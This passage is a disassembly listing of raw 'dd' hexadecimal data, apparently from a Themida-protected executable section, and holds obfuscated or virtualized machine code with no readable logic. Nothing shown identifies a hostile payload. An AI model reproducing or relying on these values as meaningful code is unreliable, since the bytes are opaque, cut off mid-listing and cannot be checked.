33000000h, 0D08BD3B0h, 3FE22CB7h, 353668CCh dd 0FDBD098Ch, 5B064E18h, 0B12FB5FFh, 95890651h, 64E1BA5h dd 25D995FFh, 0D781064Eh, 3D00EE70h, 0B12FB5FFh, 6A0651h dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h, 55450000h dd 23846CC3h, 35DE3B9Bh, 9319EA4h, 4E059195h, 0D95FF06h dd 6A064E25h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 15042444h, 43000000h, 250BC353h, 31BD83F9h, 2064E15h dd 41840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h dd 150424h, 53430000h, 0FD56EC3h, 887h, 2800F00h, 60000000h dd 0C9BD8961h, 8B064E2Ch, 4E292585h, 6BBF6606h, 0C6F5h dd 0C7FBB70Fh, 4E121D85h, 6, 0AAF78100h, 8149D33Bh, 8A86A1DFh dd 0F327E916h, 8166FFFFh, 8B756CE3h, 4D9529C1h, 0EB064E11h dd 0B5004E04h, 583E960h, 9EE90000h, 6EF3E15Eh, 7B03F16Eh dd 4A160481h, 5E271592h, 53D0219Eh, 0D95696DFh, 0E86567EBh dd 0F4716BFAh, 17E7E06h, 0EC8B6128h, 2AB7D45Ch, 0F77DC44Fh dd 186553F5h, 0E1A067E4h, 6B75AB87h, 812BEA7Ah, 924A5B20h dd 165E4CDDh, 50210FD6h, 1115E763h, 0AE34D7E1h, 0AB3CB0C0h dd 97551B09h, 5B91E2D0h, 293A28CAh, 763D11B3h, 799ED9AFh dd 0EA70BE26h, 7B1F7059h, 0D266BEF5h, 1F82C53Eh, 0B06FDE44h dd 3BC1EB30h, 4B81D0BEh, 13C99684h, 0DD5AEB71h, 0CA6C60EFh dd 0B45696DCh, 20AB9C6h dd 913D3A16h, 0A29032B8h, 2CA0AFD5h, 9D8604A6h, 0A992104Ch dd 2FADB458h, 40BCC4B2h, 60CFBA79h, 7EE72F0Dh, 0FF754BEDh dd 88BE26E9h, 6D5BFDFFh, 6EF7E5E7h, 5E47CC6Eh, 3C25D10Dh dd 9DAF6EEBh, 2979EF4Fh, 0D38A09D3h, 0B53B90F8h, 2908BD24h dd 30F7577Dh, 263F1D5Ah, 0BEB98FBEh, 50BE263Fh, 4EDF65CAh dd 5C66h, 0B6A4DB00h, 0A9032AAh, 7C58B79h, 0CC005240h dd 7113A42Ah, 2736DE9Bh, 2BA1AFBEh, 16D69B89h, 7200EE74h dd 0A089D87Ah, 7E67134Fh, 23B5102Dh, 8148577Eh, 272ACCABh dd 33C44ABEh, 14Bh, 0F47DC000h, 1B6856F8h, 6CF2EA79h, 5C90DCCAh dd 0ACFDE6BAh, 4817B08h, 118E4E16h, 0FCF07D86h, 0DF986E35h dd 2FBE2736h, 2FB53741h, 450EFC9Eh, 0CEA97F46h, 40BE2736h dd 3693E4BAh, 9583BE27h, 0E56B0DCFh, 2412D95Fh, 198B675Ch dd 0B563266Dh, 0B933412Fh, 5E009117h, 0C5A480Fh, 58DE1E68h dd 108DDEC7h, 0F5975522h, 67F0DE6Fh, 0B8DF9E65h, 0BB34327Fh dd 0ECB330C1h, 0AC63D62Dh, 9B2CF699h, 8325A7ADh, 7113C995h dd 2B489982h, 577E21EAh, 8154h, 3DCE8D00h, 9DB97DFh, 7D3AC556h dd 10CC94F0h, 97D94551h, 0B83E2EF3h, 9E5E2816h, 0EE3F28FCh dd 42BF3D4Ah, 2FD10B54h, 0EEB53741h, 0DA7C7000h, 0CA6C60ECh dd 8B2DBE44h, 4562B39Ch, 577E25D0h, 6C4Eh, 0DDA4C300h dd 27367007h, 87189EBEh, 4910CC99h, 39DB115Bh, 0CC3F4B3h dd 5212C30Dh, 22311FC1h, 481A08AAh, 7F04F294h, 4730DB7Dh dd 0D4A379F6h, 42BE26C6h, 0C8B136BCh, 528AD377h, 0F47D4AD5h dd 0DF7231F8h, 3C5C2DD9h, 0A7612636h, 0E03655E8h, 9DD7AD4Fh dd 2CBE2698h, 87ED7765h, 0ED7E04F8h, 2F96B304h, 0AD577D86h dd 1, 0ADB6A422h, 0BB41BBC7h, 14029319h, 4CB924Ah, 0EB8D4F16h dd 36E88F65h, 0A026BE27h, 0F17F6D0Fh, 0F2DB59FBh, 7B71FDA1h dd 0FAD286FEh, 0BD3F4533h, 0F18F652Ch, 0DFB474C1h, 0BBC9B759h dd 8ED6C441h, 0A3D6AC4Eh, 4FB7D90Ah, 0E3711566h, 2F3422E9h dd 531D0BADh, 5821399h, 115A4917h, 6A0DE355h, 0ACB7D878h dd 18126726h, 7F5971Dh, 92E18379h, 0ACB458A9h, 0F37B6930h dd 40D157F9h, 0A6695CC3h, 5A73512Fh, 0E8000001h, 0A06741F3h dd 9627A5B2h, 0D84BF9CFh, 0A463B474h, 0A0BA5CC2h, 0A8242D25h dd 0A62C9122h, 8E4E1604h, 9F5D2311h, 6399EAD8h, 9E743BC1h dd 0B7D8E7D9h, 8426B73Dh, 4B81CFBDh, 4884CCBAh, 0ECE9381h dd 0C58CDB7Dh, 5F4D8FD7h, 0AE34D616h, 3FE3341Dh, 0D73EBB31h dd 512FD4EEh, 50F0h, 353B2900h, 44B8C9B7h, 8B1CA2h, 0A46B4DF3h dd 273699CEh, 15B73DBEh, 0EAC0874Eh, 0BE27368Dh, 5225FB81h dd 0C4BE2736h, 365027FDh, 38BEBE27h, 2C4B21B2h, 0A4BE2736h dd 143C6ABBh, 5017EDB4h, 0FEBE2736h, 4634FB78h, 0DE33C438h dd 0ADh, 0BE5A453h, 3BB1C2A3h, 0F2541399h, 3AB2433Ch, 0F9E7AE06h dd 18DF706Ch, 74929242h, 0EFB63CB4h, 0D6B30630h, 879C1D58h dd 0F25B1A57h, 0F662551h, 3582E5F6h, 907E20B1h, 0A18F0CC0h dd 935219D3h, 7AB284A8h, 0A15B23F7h, 21E88A1Bh, 22EACA62h dd 9728B3FDh, 0D85CB5C1h, 55A68FB7h, 12E8A3B1h, 0B7D85D65h dd 209D23A9h, 551CF4A8h, 2937DB7Fh, 55F77DAEh, 41E31967h dd 5B89DAC3h, 3208CF39h, 0B45C0D28h, 670D5A48h, 0B73DDF1Dh dd 0F2C88F31h, 0B7D85D85h, 0EC7D0389h, 7B3A0187h, 721C94C2h dd 0CBAC82B0h, 4BB7D852h, 31AE3FC5h, 0FF41F3A6h, 53D97B71h dd 2A3006CDh, 4AB47810h, 6A6C108Bh, 5F2BB2D1h, 27B3720Fh dd 0B419AA43h, 0D69E8C2Eh, 0A5AB9916h, 0F7BE8527h, 0D4E95621h dd 0A132B8B7h, 7CC936CBh, 77C8B111h, 7BDC3BFAh, 0ACF96916h dd 0A5272D1Bh, 0B22A3A28h, 96562210h, 3C8D76F4h, 4B81D1BFh dd 4884CCBAh, 624504CBh, 0BAAB98E9h, 6FF5F77Eh, 6C60F0DEh dd 375CAh, 1FEA0000h, 0FAF27D94h, 0E21A6A58h, 0C9035240h dd 0B3293927h, 0A25A2311h, 87451200h, 6F6DF7E5h, 5597DFCDh dd 40BCC5B3h, 5450129Eh, 40558h, 0E8830000h, 24048704h dd 200A685Ch, 14890000h, 71C76824h, 3C890000h, 0DA6C6824h dd 148B0652h, 4C48124h, 54000000h, 81243C8Bh, 4C4h, 2EF6800h dd 14890000h, 8478F24h, 52243C8Bh, 0C281E289h, 4, 4C281h dd 14870000h, 148B5C24h, 0E6895624h, 4C681h, 0C6810000h dd 4, 5C243487h, 0FB9FACE9h, 0B952A6FFh, 5D62D3h, 70212AF9h dd 0DF70B816h, 0C5030652h, 2F74E0FFh, 0E2F76AA0h, 3789321Fh dd 685C5B86h, 935E06C9h, 0D14210D7h, 38870AF8h, 2E402907h dd 926B106Eh, 69F37233h, 33014A50h, 37AB6253h, 0D18B137Dh dd 926829A4h, 7E0F2F17h, 858D0929h, 64E1061h, 0E857006Ah dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 3BC35747h, 5DBD8B3Ah dd 29064E07h, 4E1671BDh, 0CE95006h, 50000000h, 0EEEE4810h dd 0C96407B4h, 898B3E4Bh, 6A2404h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 1C0424h, 57470000h, 121C45C3h, 0B079599Fh dd 6AFAF9h, 4BEF8166h, 0BF006A94h, 1D5E11EBh, 0E23C858Dh dd 85310652h, 64E0A55h, 6A05C083h, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 15042444h, 46000000h, 0A3C6C356h dd 6870Fh, 8D890000h, 64E12D9h, 26C9BD23h, 5050064Eh, 0B9666052h dd 5B51EF5Ah, 66310F61h, 585ADF8Bh, 6A240489h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 14042444h, 46000000h dd 66DAC356h, 2FBBD88Bh, 6A30CF11h, 57006A00h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1B04h, 0C3574700h, 0D5F7903Ch dd 7C113451h, 14E9006Ah, 0D0000000h, 0D6D084CBh, 7129B928h dd 190BF134h, 949E91C4h, 0FFF9DF03h, 4E088595h, 0DAB70F06h dd 289D9D89h, 8D8D064Eh, 651AF49h, 3D858953h, 5B064E0Bh dd 7E8D1FFh, 64000000h, 0FF41841Ah, 0F60479Bh, 88h, 6DB58B00h dd 61064E11h, 49BD835Bh, 1064E26h, 94850Fh, 0B5310000h dd 64E07E1h, 6AF98B66h, 51006A02h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1B04h, 0C3514100h, 8CB136FCh, 9953A533h dd 0CC7ABB66h, 0FE86050h, 3D000000h, 6A070A8Bh, 6956A086h dd 0B8F1E98h, 60BF6A6Fh, 5F75FE94h, 723ACBEh, 4896168h dd 57006A24h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1804h dd 0C3574700h, 1B81213Dh, 5E883h, 5CC00000h, 89627667h dd 4E14D58Dh, 95FF5B06h, 64E1A05h, 2C39B589h, 0FE9064Eh dd 0E800000Dh, 0 dd 46ED815Dh, 570652E2h, 0B19D8B5Bh, 0F064E25h, 1689h dd 11E900h, 77030000h, 0B8519181h, 7A099FC2h, 0C52A2552h dd 8DA72330h, 5192A985h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh dd 24448104h, 1D04h, 0C3564600h, 2B7EC397h, 75175A38h dd 0B70F621Ch, 11E950FBh, 74000000h, 336CEA5h, 0BF685B01h dd 2144F340h, 0F9CFED4Ah, 6A240489h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 3BB3C351h dd 64D88B76h, 35FFh, 0BD890000h, 64E1451h, 258964h, 6A000000h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 19042444h dd 45000000h, 187FC355h, 0A6513732h, 0E5F9BF66h, 8D585FFh dd 0FB8B064Eh, 6AFF6Ah, 3E850h, 58200000h, 448958C3h, 44810424h dd 180424h, 50400000h, 3402EAC3h, 60F5B5C8h, 541858Bh dd 9589064Eh, 64E1B5Dh, 2DB5FF61h, 6A064E16h, 3E85700h dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h dd 8305C357h, 0A907BB66h, 1B0D95FFh, 34E9064Eh, 80000001h dd 6E92DF7h, 9D000000h, 0AB119DA5h, 0E900B03Bh, 7, 0A4B3279Eh dd 0E6BDB48Ch, 458D8970h, 0E4064E31h, 79858971h, 8B064E14h dd 4E130D9Dh, 0F613C06h, 0FA83h, 49B58900h, 0F064E29h dd 6E8C8B6h, 89000000h, 2231E7D6h, 5E95Ch, 88E00000h, 5F0FC3F6h dd 1F45BD2Bh, 6BA064Eh, 66000000h, 0E948D781h, 9D8BC18Bh dd 64E0AA9h, 8104E8C1h, 0C5F950F3h, 0E2F76652h, 6860Fh dd 9D8B0000h, 64E0E45h, 0BF66C82Bh, 0D18BA0ECh, 0D68CF381h dd 0BD0B2311h, 64E2D69h, 92E9h, 4858B00h, 8B000000h, 4E157DBDh dd 0B9BD8B06h, 83064E26h, 0B53107C0h, 64E0C0Dh, 8B00C083h dd 4E271D9Dh, 0FD03B06h, 3383h, 759D8B00h, 0E9064E0Dh dd 5Bh, 5E8h, 94679A00h, 0CE93F7Ah, 0E4000000h, 447A338Bh dd 9413990Eh, 5B61F6A6h, 6890Fh, 0BD8B0000h, 64E07A9h dd 0FFFF8D8Bh, 8589FFFFh, 64E1511h, 0F01E183h, 1E84h, 0CB816600h dd 0A58365C6h, 0FFFFFFFFh, 8917B3FEh, 495h, 0BB6FBF00h dd 0E947E5h, 8D000000h, 525E56B5h, 0B5896006h, 64E2BFDh dd 14419D89h, 6A61064Eh, 14E900h, 75F30000h, 4038A100h dd 0A24645F2h, 645E263Ah, 0B2E598B6h, 95FFB4D0h, 64E1A59h dd 2181BD8Bh, 0F5B9064Eh, 8B00000Eh, 0FCE183FEh, 29958960h dd 0F064E12h, 28Eh, 615F5600h, 50006AFCh, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1904h, 0C3504000h, 5DF3674Fh dd 0C02B79A7h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h dd 1Bh, 68C35646h, 0C229F84Dh, 8BA87D66h, 4E120D9Dh, 0ADD22B06h dd 0E8D1C233h, 0E983D003h, 6AF47504h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 66C1C355h dd 89A3FDBFh, 4E2FB985h, 858D8906h, 0D064E20h, 88h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 29C35646h, 1364C148h dd 666047B1h, 0BF1B589h, 0EB81064Eh, 7178FB34h, 2F598D29h dd 958B064Eh, 64E2B05h, 0E855006Ah, 3, 5DC35D20h, 4246C89h dd 4244481h, 1Ch, 0ACC35545h, 1E2FCEBCh, 0E902B114h, 2B658D8Bh dd 0DB81064Eh, 0D80830Ch, 8BC28B50h, 8BC10318h, 0D1C18B18h dd 8BC203E8h, 89F85818h, 4E225DBDh, 0FDBD8306h, 64E30h dd 5A840Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h dd 140424h, 50400000h, 9D8913C3h, 64E1315h, 0B8h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1604h, 0C3524200h dd 516B6C06h, 0F95BFA8Bh, 4E108D8Dh, 0B589064Eh, 64E0609h dd 0FE8BE1FFh, 65DBD83h, 0F00064Eh, 3CA84h, 68D0F00h, 8B000000h dd 4E2ADDBDh, 50C78106h, 834361C0h, 4E065DBDh, 840F0106h dd 3C6h, 4358D09h, 0BD83064Eh, 64E065Dh, 7D860F03h, 8B000003h dd 6A60FBh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 140424h dd 53430000h, 0FE9A0C3h, 86000000h, 10FE4800h, 4E526D36h dd 64F68336h, 8C6607CEh, 51006AD9h, 3E8h, 0C3592000h, 244C8959h dd 24448104h, 1A04h, 0C3514100h, 0AEFA54C0h, 1D52B31h dd 4E11A9BDh, 0EE806h, 54220000h, 8BCD429Ch, 75AB5BFAh dd 0A30FDD48h, 805FF88Bh, 6A04E1h, 3E850h, 58200000h, 448958C3h dd 44810424h, 1D0424h, 50400000h, 0C54B2EC3h, 0FB92A377h dd 898CAACDh, 4E0EB1BDh, 0AD9D8906h, 0A064E2Fh, 0F5840FC9h dd 81000000h, 2524C8F3h, 29858B00h, 6A064E1Bh, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 18042444h, 45000000h dd 6088C355h, 8B4C9951h, 4E1891BDh, 8D853306h, 6A064E28h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1B042444h dd 43000000h, 9A36C353h, 0D10306FDh, 6053E364h, 0E718D33h dd 8D29064Eh, 64E2C0Dh, 9D895B61h, 64E2905h, 0B8A6BB90h dd 53506A64h, 1850BF60h, 0EC8A2513h, 31905B61h, 4E20BD95h dd 66006A06h, 68D16BBFh, 0C21B7F3Fh, 4816BB7h, 384C024h dd 0DE83Eh, 0CA7D0000h, 0C3D9078Fh, 0E3FB2898h, 8B3CC90Fh dd 4E0A619Dh, 95FF5F06h, 64E0BD9h, 0E855006Ah, 3, 5DC35D20h dd 4246C89h, 4244481h, 17h, 0B3C35545h, 8B9C869Eh, 4E0445BDh dd 2F858906h, 0B0651B1h, 4E082DBDh, 177E906h, 5F530000h dd 0B127858Bh, 0C70651h, 18h, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 1Ah, 0F0C35040h, 1028E7C7h, 0B58B8430h dd 651B12Bh, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h dd 1Ch, 1CC35141h, 1961EADBh, 51652842h, 0D459D8Bh, 858B064Eh dd 64E300Dh, 89F8BF0Fh, 0C8BF6606h, 29858BA4h, 6A064E1Bh dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1A042444h dd 45000000h, 1395C355h, 92463510h, 4FCF8160h, 0F5201E7h dd 4689FAB7h, 53006A04h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1C04h, 0C3534300h, 5C45F0E4h, 994CD03Ah, 0E950F9F1h dd 0Dh, 0B3C8F215h, 0F5D2FC57h, 0DCD85F3Ah, 24348989h dd 0FFD8B70Fh, 51B127B5h, 51006A06h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1904h, 0C3514100h, 15168D3Eh dd 9D8B85B0h, 64E13C1h, 4C97F968h, 0FE8B6615h, 6243481h dd 0F155394h, 858DFABFh, 651B12Fh, 286DBD8Bh, 8950064Eh dd 0BD8B2404h, 64E16A1h, 0BD995FFh, 6A064Eh, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 170424h, 53430000h, 0D37432C3h dd 2D9D8B8Fh, 0E9064E29h, 11h, 9B1260F3h, 0CBF8FF68h, 0C36CFE6Ch dd 5CE2237Dh, 89566109h, 4E078D95h, 85C75B06h, 64E065Dh dd 3, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Dh dd 0FAC35141h, 2C75A799h, 8E5C5918h, 9D8BFCB7h, 64E175Dh dd 0B12FBD83h, 0F000651h, 1784h, 3820F00h, 0F000000h, 0BD33D9B7h dd 64E0B45h, 1EE9h, 0DBB70F00h, 110C3050h, 1114400h, 3010E8C1h dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h dd 443010E8h, 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h dd 0EBE77504h, 8BC08B00h, 4E2DB99Dh, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1C04h, 0C3524200h, 0C002AFEh dd 0ABD26286h, 87E5BF02h, 0BD833480h, 64E065Dh, 40850F03h dd 6A000004h, 3E85600h, 20000000h, 895EC35Eh, 81042474h dd 14042444h, 46000000h, 669DC356h, 0BD83D88Bh, 651B12Fh dd 14840F00h, 2B000004h, 4E1245BDh, 95BD8B06h, 0FF064E28h dd 51B12FB5h, 6860BB06h, 95FF4E83h, 64E0375h, 296D9D8Bh dd 6060064Eh, 29459D8Bh, 0ABB064Eh, 6146AB76h, 78E38060h dd 12E9h, 0DB0D0C00h, 0D8E2C7C5h, 53F3FD09h, 0B5EE514Fh dd 616FB986h, 23B58B61h, 6A0651B1h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 0D362C357h dd 0BB66B37Dh, 6C7E60Ah, 10001h, 9E96050h, 1C000000h, 90560913h dd 10E1CC1h, 5F617DB3h, 25BF5350h, 5B3178F3h, 89243489h dd 4E194585h, 2FB5FF06h, 0E90651B1h, 11h, 0FEE8AB70h, 0A02634B0h dd 688AFD36h, 8EE5DCD4h, 7585899Eh, 0FF064E29h, 4E290195h dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1904h dd 0C3504000h, 0A54B4EE1h, 9D89F03Bh, 64E1039h, 2B419D8Bh dd 0B58B064Eh, 651B123h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 14h, 76C35343h, 0F35858Bh, 0FA8B064Eh, 0C48689h dd 8B660000h, 5958BD9h, 6A064E2Bh, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 1C042444h, 45000000h, 6626C355h dd 1BC3A259h, 83BECC55h, 6A04C2h, 3E857h, 5F200000h, 7C895FC3h dd 44810424h, 150424h, 57470000h, 6654C9C3h, 0BF0FFE8Bh dd 205089FAh, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 16h, 0DDC35242h, 6052338Dh, 21499D89h, 5856064Eh, 9D8B5B61h dd 64E1281h, 0C53D858Dh, 6A0651h, 3E856h, 5E200000h, 74895EC3h dd 44810424h, 1D0424h, 56460000h, 3D1A8FC3h, 353495DBh dd 892D5232h, 4E1B058Dh, 0B8868906h, 60000000h, 1831B509h dd 0B58B064Eh, 64E2541h, 6A006A61h, 3E85000h, 20000000h dd 8958C358h, 81042444h, 1D042444h, 40000000h, 4414C350h dd 325AE5F0h, 8321EF71h, 229DBD0Bh, 8B66064Eh, 2FB5FFFEh dd 230651B1h, 4E226DBDh, 860F6006h, 6, 7119D8Bh, 958B064Eh dd 64E1369h, 595FF61h, 0F064E1Ah, 5096F9BFh, 0DA8B6650h dd 6A965Fh, 3E852h, 5A200000h, 54895AC3h, 44810424h, 140424h dd 52420000h, 0BE923C3h, 61000000h, 0C157DE0Dh, 3EF8DC99h dd 0B5FF461Ah, 651B12Fh, 5A195FFh, 6A064Eh, 3E855h, 5D200000h dd 6C895DC3h, 44810424h, 150424h, 55450000h, 53B1B5C3h dd 0BD835FF8h, 64E1509h, 76840F00h, 6A000000h, 3E85000h dd 20000000h, 8958C358h, 81042444h, 18042444h, 40000000h dd 6688C350h, 0E9A81C9Bh, 0Fh, 23968503h, 3C200EEDh, 6DE5D533h dd 96BDA13Fh, 6050FA8Bh, 0E9DE8B66h, 0Ch, 0D852DF16h, 74119C59h dd 0DE5775C8h, 6A9661h, 3E850h, 58200000h, 448958C3h, 44810424h dd 1C0424h, 50400000h, 0E075D3C3h, 5B156357h, 0B70FF05Ch dd 2FB5FFDFh, 290651B1h, 4E25F5B5h, 0D995FF06h, 80064E25h dd 0B5FF94E3h, 651B12Fh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Ch, 5EC35242h, 0F513E8A6h, 0D78F1AF1h, 69DBD0Bh dd 95FF064Eh, 64E250Dh, 4856BF66h, 1531BD83h, 0F02064Eh dd 5E84h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h dd 1A04h, 0C3574700h, 2C7336FEh, 0BF5B2CFEh, 0E0895Bh dd 2A518589h, 858B064Eh, 64E2925h, 0C6ACB7h, 52006A00h dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1D04h, 0C3524200h dd 4EC6D899h, 0A90D9E2h, 0C7F5091Eh, 4E121D85h, 6, 55006A00h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h, 0C3554500h dd 31E2365Fh, 0E9DE8B57h, 0FFFFF40Ch, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Ah, 0F6C35343h, 0CCDD5F65h, 0C18B2286h dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 16h, 0E1C35040h dd 858DC409h, 64E1061h, 51DDBB66h, 0DF8B6690h, 7E85050h dd 8C000000h, 0A7E9DD6Ah, 97BB4285h, 5F37BC53h, 6A905Bh dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h, 55450000h dd 0B58945C3h, 64E11A5h, 9589006Ah, 64E069Dh, 6651006Ah dd 8D5BDF8Bh, 52F15185h, 0D98B6606h, 5205C083h, 5FF9B70Fh dd 89DF8B50h, 6A2404h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1C0424h, 51410000h, 457ED5C3h, 6F2C925Ah, 9D8923C5h dd 64E1925h, 6A006Ah, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 140424h, 56460000h, 0EF80ECC3h, 1006ACDh, 4E150595h dd 8595FF06h, 6A064E08h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 15042444h, 46000000h, 0A674C356h, 0CF58D89h dd 8D8D064Eh, 651AF49h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 18h, 0F9C35343h, 1670212Ah, 8C9BD29h, 0D1FF064Eh dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ah, 82C35646h dd 0D39824D0h, 8166FCD3h, 83D209C7h, 4E2649BDh, 850F0106h dd 0B7h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 15h, 0F3C35040h, 6EE78077h, 6A026Ah, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 160424h, 52420000h, 6510E3C3h dd 1B49BD89h, 9589064Eh, 64E28B1h, 50F88B90h, 6A90EFB7h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1A042444h dd 43000000h, 0D034C353h, 292001E6h, 0DE9DAh, 60A10000h dd 0D971B430h, 0DA795305h, 156E24Dh, 4E20998Dh, 595FF06h dd 6A064E1Ah, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 16042444h, 43000000h, 9798C353h, 73C381F0h, 0E929F3B3h dd 0D3Dh, 0E8h, 0ED815D00h, 652F15Bh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 18h, 38C35040h, 4962CCBh, 0E855006Ah dd 3, 5DC35D20h, 4246C89h, 4244481h, 17h, 71C35545h, 8BD58A28h dd 4E02899Dh, 68C0F06h, 89000000h, 4E1425BDh, 0A9858D06h dd 6A065192h, 3E85300h, 20000000h, 895BC35Bh, 8104245Ch dd 19042444h, 43000000h, 0F326C353h, 840072D2h, 0A2B35090h dd 55006A90h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h dd 0C3554500h, 10E96CACh, 51F60E0Bh, 12D59D8Bh, 645B064Eh dd 35FFh, 8D0F0000h, 2, 8964DA8Bh, 25h, 19BD8B00h, 66064E10h dd 0D16BD781h, 8D585FFh, 0D98B064Eh, 6AFF6Ah, 3E856h, 5E200000h dd 74895EC3h, 44810424h dd 140424h, 56460000h, 85295BC3h, 64E21B1h, 0B5FF34B7h dd 64E064Dh, 95FFFE8Bh, 64E1B0Dh, 0EDE9h, 10E900h, 9E9E0000h dd 13D4BD8Bh, 3DEA7F21h, 29E8ECEBh, 0B0B252h, 0EDB96660h dd 21952912h, 61064E0Fh, 0FD8A70E6h, 8B6671E4h, 0F613CDAh dd 0B983h, 0F8CF8100h, 0F5A1761h, 0BB66C8B6h, 7E9E46Ch dd 0EB000000h, 0CD89967Bh, 6BAC3C0h, 89000000h, 4E06D19Dh dd 8BC18B06h, 4E8C1FAh, 0F766D98Bh, 0E98531E2h, 2B064E2Bh dd 28D0FC8h, 0B3000000h, 31D18BC6h, 4E205D8Dh, 6CE906h dd 7BB0000h, 8B188C3Bh, 4C4C4485h, 7C0835Fh, 9FEF8166h dd 0C0837Dh, 21B59501h, 0D03B064Eh, 0B830Fh, 43E90000h dd 89000000h, 4E043DB5h, 0FF8D8B06h, 60FFFFFFh, 8D335E56h dd 64E2A85h, 1E18361h, 24840Fh, 46BB0000h, 8351EC88h, 0FFFFFFA5h dd 9529FEFFh, 64E2AE9h, 4C449589h, 8BFC5F4Ch, 4E1075BDh dd 0E906h, 0B58D0000h, 6526D4Bh, 0E857006Ah, 3, 5FC35F20h dd 4247C89h, 4244481h, 18h, 65C35747h, 0A41C3797h, 0DD5BD89h dd 8B60064Eh, 0CD8D31F8h, 61064E21h, 6A006Ah, 3E850h, 58200000h dd 448958C3h, 44810424h, 140424h, 50400000h, 6E983C3h dd 16000000h, 0A84EECB1h, 5995FF13h, 0F064E1Ah, 9589D9B7h dd 64E035Dh, 0FB0B9h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh dd 24448104h, 1804h, 0C3534300h, 6FA101C9h, 10E8A0h, 3FBB0000h dd 0A8528FEFh, 5D2AED27h, 0C91CCAD8h, 0F5502973h, 83F55B5Bh dd 6AFCE1h, 3E850h, 58200000h, 448958C3h dword_589B68 dd 44810424h, 150424h, 50400000h, 983C1C3h, 4E070985h ; DATA XREF: Themida_:0054D7EDo dd 0AD958906h, 0FC064E0Ah, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 16h, 0D1C35646h, 0B529D5B1h, 64E1255h, 0BD8BC02Bh dd 64E2935h, 6AD22Bh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 170424h, 56460000h, 4DE28C3h, 51BD898Bh, 0AD064E2Bh dd 0E8D1C233h, 0E983D003h, 6AF47504h, 3E85500h, 20000000h dd 895DC35Dh, 8104246Ch, 15042444h, 45000000h, 162DC355h dd 2C61BD29h, 9D8B064Eh, 64E1B05h, 880Dh, 5958B00h, 0F064E2Bh dd 487h, 4EBB6600h, 658D8BE6h, 50064E2Bh, 188BC28Bh, 188BC103h dd 0E8D1C18Bh, 188BC203h, 0DFBF0F58h, 345BD8Bh, 0BD83064Eh dd 64E30FDh, 56840F00h, 0F9000000h, 0B8h, 52006A00h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1704h, 0C3524200h dd 20C1EC32h, 4E108D8Dh, 6A064Eh, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 150424h, 52420000h, 31CB67C3h, 4E0559B5h dd 89E1FF06h, 4E0D018Dh, 5DBD8306h, 64E06h, 3F6840Fh, 0BB660000h dd 0BD8345E3h, 64E065Dh, 840F01h, 6A000004h, 3E85500h dd 20000000h, 895DC35Dh, 8104246Ch, 1A042444h, 45000000h dd 28CBC355h, 2FA3C254h, 8D89F9DDh, 64E21B5h, 65DBD83h dd 0F03064Eh, 39486h, 0D88B6600h, 0FFCB8160h, 666F1A7Ah dd 